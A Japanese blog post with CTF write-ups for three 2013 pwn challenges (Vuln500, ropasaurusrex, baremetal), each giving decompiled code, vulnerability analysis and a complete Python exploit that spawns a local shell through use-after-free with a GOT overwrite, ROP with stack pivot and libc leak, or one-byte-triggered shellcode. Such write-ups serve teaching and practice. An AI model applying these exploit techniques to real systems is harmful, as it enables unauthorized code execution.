h_nosonの日記

競プロ、CTFなど

pwn challenges list easy writeup その3

前回

h-noson.hatenablog.jp

[CodeGate 2013] Vuln500

ELF 32-bit、動的リンク、NX有効。

% file kpop_music
kpop_music: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=8f57017de907a492d2bc20d2b29b32501f9adfb1, stripped
% checksec -f kpop_music
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               5    kpop_music
% ./kpop_music
====================================================================


    __ __ ____  ____  ____     __  _____  _______ __________
   / //_// __ \/ __ \/ __ \   /  |/  / / / / ___//  _/ ____/
  / ,<  / /_/ / / / / /_/ /  / /|_/ / / / /\__ \ / // /
 / /| |/ ____/ /_/ / ____/  / /  / / /_/ /___/ // // /___
/_/ |_/_/    \____/_/      /_/  /_/\____//____/___/\____/

            Welcome to the KPOP Music WORLD!


====================================================================
------------------------
1. Show kpop song list
2. Add a new kpop song
3. Modify kpop song
4. Delete kpop song
5. Search kpop song
6. Quit
------------------------
MENU> 1
====================================================================

0. Gangnam Style(PSY)
 - http://www.youtube.com/watch?v=9bZkp7q19f0

1. I got a boy(SNSD)
 - http://www.youtube.com/watch?v=wq7ftOZBy0E

2. Gone not around any longer(SISTAR19)
 - http://www.youtube.com/watch?v=JtVhwsACgTw

====================================================================
------------------------
1. Show kpop song list
2. Add a new kpop song
3. Modify kpop song
4. Delete kpop song
5. Search kpop song
6. Quit
------------------------
MENU>

曲名とURLのデータがあり、それに対して表示、追加、編集、削除、検索が行える。データは構造体を使って保存されている。

struct song {
    void (*func[])(song *);
    char title_str[100];
    unsigned int url_len;
    char *url_str;
};

struct song_array {
    song *songs[];
    int size;
};

構造体songに、曲名とURLの文字列が保存されており、URLの領域はheap領域から別途確保している。曲が追加される度に、newで構造体songの領域が確保され、構造体song_arrayに追加される。また、曲の追加、編集の際に文字列を構造体songに保存する関数を関数ポインタの配列funcに割り当ててあり、追加、編集の度にそれを用いている。よって何かしらの方法で関数ポインタを書き換えたい。ポインタの配列になっているのでGOTで上書きすればsystemを実行できそう。(今回systemがGOTにある)

削除をする関数にUse After Freeの脆弱性があることがわかった。

void free_url_str(song *s) {
    s->func = func_array;
    if (s->url_str != NULL) {
        free(s->url_str);
    }
    s->url_len = 0;
}

int delete_song_by_number(song_array *s, int num) {
    int found = 0;
    if (s->size == 0) {
        puts("[!] no more songs");
        return 0;
    }
    for (unsigned int i = 0; i < s->size; i++) {
        if (s->songs[num] == s->songs[i]) found = 1;
    }
    if (found == 0) {
        puts("[!] invalid number");
        return 0;
    }
    if (num >= s->size) {
        puts("[!] maxnum exceeded");
        return 0;
    }
    if (s->songs[num] != NULL) {
        free_url_str(s->songs[num]);
        delete s->songs[num];
    }
    puts("[*] Deleted successfully");
    for (unsigned int i = num; i < s->size; i++) {
        s->songs[i] = s->songs[i+1];
    }
    return 1;
}

このプログラムではunsiged intとintが入り乱れているため、比較や代入の際に期待していない動作が起きてしまう。ディスアセンブルした状態では

  • jlやjg系 -> 符号付比較(intとintの比較)
  • jaやjb系 -> 符号なし比較(unsigned intとintの比較、intとunsigned intの比較、unsigned intとunsigned intの比較)

のように分かれる。これを考慮してデコンパイルした結果が上のコードになっている。上のコードにおいてnumを負の値にすると、s->songs[num]ではs->songsポインタにnum * 4を足しているためとても小さい値にすればinteger overflowして正の値と偽ることができ、num >= s->sizeはintどうしの比較のためチェックを抜けることができ、i = num; i < s->sizeではunsigned intとintの比較のためループに入らない。例えばnumを-1<<31にすればsongs[0]をfreeしておきながらそのポインタを維持できるため、Use After Freeに繋がる。ここでfreeされるサイズは0x78(構造体song)と0x30(URLの文字列)になる。

fastbins -> bins -> unsorted bins -> よりサイズの大きいbinsから切り出し -> topを進めて新たな領域を確保する

という順序でmallocの割り当てを決めるため、サイズを0x30ではない0x78以下の値にすれば構造体songがある領域を確保できる。modifyではURLのための領域を新たに確保しているため、URLの文字列としてsystemのGOT(実際にはsystem_got-0x8)を入力すれば、構造体songの領域が確保され関数ポインタが書き換えられて次のmodifyの際にsystemが呼ばれる。引数は構造体songの先頭であるため、p32(system_got-0x8) + ';/bin/sh'という文字列を送れば、前半は定義されていないコマンドとしてエラーが返り、続いて/bin/shが実行される。

#!/usr/bin/env python
from pwnlib import *

def delete(num):
    s.recvuntil('MENU> ')
    s.sendline('4')
    s.recvuntil('method> ')
    s.sendline('1')
    s.recvuntil('number : ')
    s.sendline(str(num))

def modify(num,title,url):
    s.recvuntil('MENU> ')
    s.sendline('3')
    s.recvuntil('method> ')
    s.sendline('1')
    s.recvuntil('number : ')
    s.sendline(str(num))
    s.recvuntil('title : ')
    s.sendline(title)
    s.recvuntil('url : ')
    s.sendline(url)

if __name__ == '__main__':
    s = Local(['./kpop_music'], env = {'TERM': 'xterm'})

    system_got = 0x804b3f8

    delete(-1<<31)
    modify(1,'A',p32(system_got - 0x8) + ';/bin/sh')
    modify(0,'A','A')
    s.interact()
% ./exploit.py
sh: 1:: not found
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$

[PlaidCTF 2013] Pwn ropasaurusrex - 200

ELF 32-bit、動的リンク、NX有効。

% file ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092, stripped
% checksec -f ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               1    ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

とても短いコード

<do_read>:
 80483f4:   55                      push   ebp
 80483f5:   89 e5                   mov    ebp,esp
 80483f7:   81 ec 98 00 00 00       sub    esp,0x98
 80483fd:   c7 44 24 08 00 01 00    mov    DWORD PTR [esp+0x8],0x100
 8048404:   00
 8048405:   8d 85 78 ff ff ff       lea    eax,[ebp-0x88]
 804840b:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804840f:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 8048416:   e8 11 ff ff ff          call   804832c <read@plt>
 804841b:   c9                      leave
 804841c:   c3                      ret

<main>:
 804841d:   55                      push   ebp
 804841e:   89 e5                   mov    ebp,esp
 8048420:   83 e4 f0                and    esp,0xfffffff0
 8048423:   83 ec 10                sub    esp,0x10
 8048426:   e8 c9 ff ff ff          call   80483f4 <do_read>
 804842b:   c7 44 24 08 04 00 00    mov    DWORD PTR [esp+0x8],0x4
 8048432:   00
 8048433:   c7 44 24 04 10 85 04    mov    DWORD PTR [esp+0x4],0x8048510
 804843a:   08
 804843b:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048442:   e8 c5 fe ff ff          call   804830c <write@plt>
 8048447:   c9                      leave
 8048448:   c3                      ret

ebp-0x88から0x100bytes読み込んでいるのでBOFする。問題名通りROPを構成すればいいのだが、使える領域が少ないのでまずreadでbssにROPを構成しstack pivotでespをbssに切り替える。あとはlibcのベースアドレスをリークしてsystemのアドレスをROPの続きに書き込む。

#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    s = Local(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'], env = {'LD_PRELOAD': './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a'})

    read_plt = 0x804832c
    read_got = 0x804961c
    read_offset = 0xbf110
    write_plt = 0x804830c
    system_offset = 0x39450
    bss_addr = 0x8049900
    leave_ret = 0x80482ea
    pop3_ret = 0x80484b6

    payload = ''
    payload += 'A' * 0x88
    payload += p32(bss_addr-4)
    payload += p32(read_plt)
    payload += p32(leave_ret)
    payload += p32(0) + p32(bss_addr) + p32(0x100)
    s.send(payload)

    payload = ''
    payload += p32(write_plt)
    payload += p32(pop3_ret)
    payload += p32(1) + p32(read_got) + p32(4)
    payload += p32(read_plt)
    payload += p32(pop3_ret)
    payload += p32(0) + p32(bss_addr + len(payload) + 3 * 0x4) + p32(0x4)
    payload += 'A' * 0x8
    payload += p32(bss_addr + len(payload) + 0x4)
    payload += '/bin/sh\0'
    s.send(payload)

    libc_base = u32(s.recv(4)) - read_offset
    print '[*] libc base: %#x' % libc_base
    s.send(p32(libc_base + system_offset))

    s.interact()
% ./exploit.py
[*] libc base: 0xf7654000
ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
[*] Switching to interactive mode

$ id
ERROR: ld.so: object './libc.so.6-f85c96c8fc753bfa75140c39501b4cd50779f43a' from LD_PRELOAD cannot be preloaded (wrong ELF class: ELFCLASS32): ignored.
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$

[SIGINT CTF 2013] pwning 100 - baremetal

ELF 32-bit、静的リンク、NX有効(実際は無効)。

% file baremetal
baremetal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
% checksec -f baremetal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               0    baremetal

特殊なコードの書き方をしていて、関数の呼び出しをjmpで行って関数内では最後にnext_instructionを呼び出して戻り番地を計算しそこに戻っている。スタックはほとんど使っていない。(この書き方はエクスプロイトに影響しない)

<main>:
 8048080:   68 98 91 04 08          push   0x8049198
 8048085:   e8 b1 00 00 00          call   0x804813b <pop_edi>
 804808a:   e9 cd 00 00 00          jmp    0x804815c <strlen>
 804808f:   50                      push   eax
 8048090:   68 98 91 04 08          push   0x8049198
 8048095:   e8 a1 00 00 00          call   0x804813b <pop_edi>
 804809a:   e9 aa 00 00 00          jmp    0x8048149 <write>
...

<pop_edi>:
 804813b:   5f                      pop    edi
 804813c:   ff e7                   jmp    edi

<next_instruction>:
 804813e:   8b 0f                   mov    ecx,DWORD PTR [edi]
 8048140:   84 c9                   test   cl,cl
 8048142:   75 03                   jne    0x8048147
 8048144:   47                      inc    edi
 8048145:   eb f7                   jmp    0x804813e
 8048147:   ff e7                   jmp    edi

<write>:
 8048149:   b8 04 00 00 00          mov    eax,0x4
 804814e:   bb 01 00 00 00          mov    ebx,0x1
 8048153:   59                      pop    ecx
 8048154:   5a                      pop    edx
 8048155:   cd 80                   int    0x80
 8048157:   83 c7 02                add    edi,0x2
 804815a:   eb e2                   jmp    0x804813e <next_instruction>

cに直すと以下のようになる。

#include <string.h>
#include <unistd.h>

char str[0x3c]; // 0x80491c8
int code;       // 0x8049204

int sum(char *s) {
    int ret = 0;
    while (*s) ret += *s++;
    return ret;
}

int main(void) {
    write(1,"baremetal online\n",strlen("baremetal online\n"));
    code = 0xe7ff4747;  // inc edi; inc edi; jmp edi
    read(0,str,0x3d);
    if (sum(str) == 0x1ee7) {
        if (code & 0xff != 0) {
            ((void(*)())code)();
        }
        write(1,"Sequence OK\n",strlen("Sequence OK\n"));
    }
    else {
        write(1,"Bad Sequence\n",strlen("Bad Sequence\n"));
    }
    return 0;
}

codeはinc edi; inc edi; jmp ediが代入されており、条件を満たすとそこにジャンプする。BOFによってcodeの1byte目を上書きできるため、1byteだけ任意のコードを実行できる。codeを呼び出す直前のレジスタの値を見てみると

 [----------------------------------registers-----------------------------------]
EAX: 0x80491c8 --> 0xffffffff
EBX: 0x47 ('G')
ECX: 0x8049204 --> 0xe7ff4747
EDX: 0x0
ESI: 0x0
EDI: 0x80480f9 (jmp    ecx)
EBP: 0x0
ESP: 0xffe73ea0 --> 0x1
EIP: 0x80480f9 (jmp    ecx)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80480f0:   test   ebx,ebx
   0x80480f2:   je     0x80480fb
   0x80480f4:   call   0x804813b
=> 0x80480f9:   jmp    ecx
 | 0x80480fb:   push   0x80491aa
 | 0x8048100:   call   0x804813b
 | 0x8048105:   jmp    0x804815c
 | 0x8048107:   push   eax
 |->   0x8049204:       inc    edi
       0x8049205:       inc    edi
       0x8049206:       jmp    edi
       0x8049208:       add    BYTE PTR [eax],al
                                                                  JUMP is taken

eaxに入力した文字列の先頭番地が格納されていることがわかる。

ref.x86asm.net

ここでオペコードとオペランドを合わせて1byteのコードを探してみるとxchg r16/32, eaxがあり、これによってediを文字列の先頭に変えられるため、文字列としてシェルコードを送ればよくなる。

#!/usr/bin/env python
from pwnlib import *

if __name__ == '__main__':
    s = Local(['./baremetal'])

    s.recvline()
    code = asm('xchg eax, edi', frmt = 'elf32')
    sm = ord(code) + 0x22d
    payload = ''
    payload += 'A'
    payload += get_shellcode('lin32')
    for c in payload:
        sm += ord(c)
    l = len(payload)
    for i in range(0x3c - l):
        x = min(0xff,0x1ee7 - sm - (0x3b - l - i))
        payload += chr(x)
        sm += x
    payload += code
    s.send(payload)
    s.interact()
% ./exploit.py
[*] Switching to interactive mode

$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
$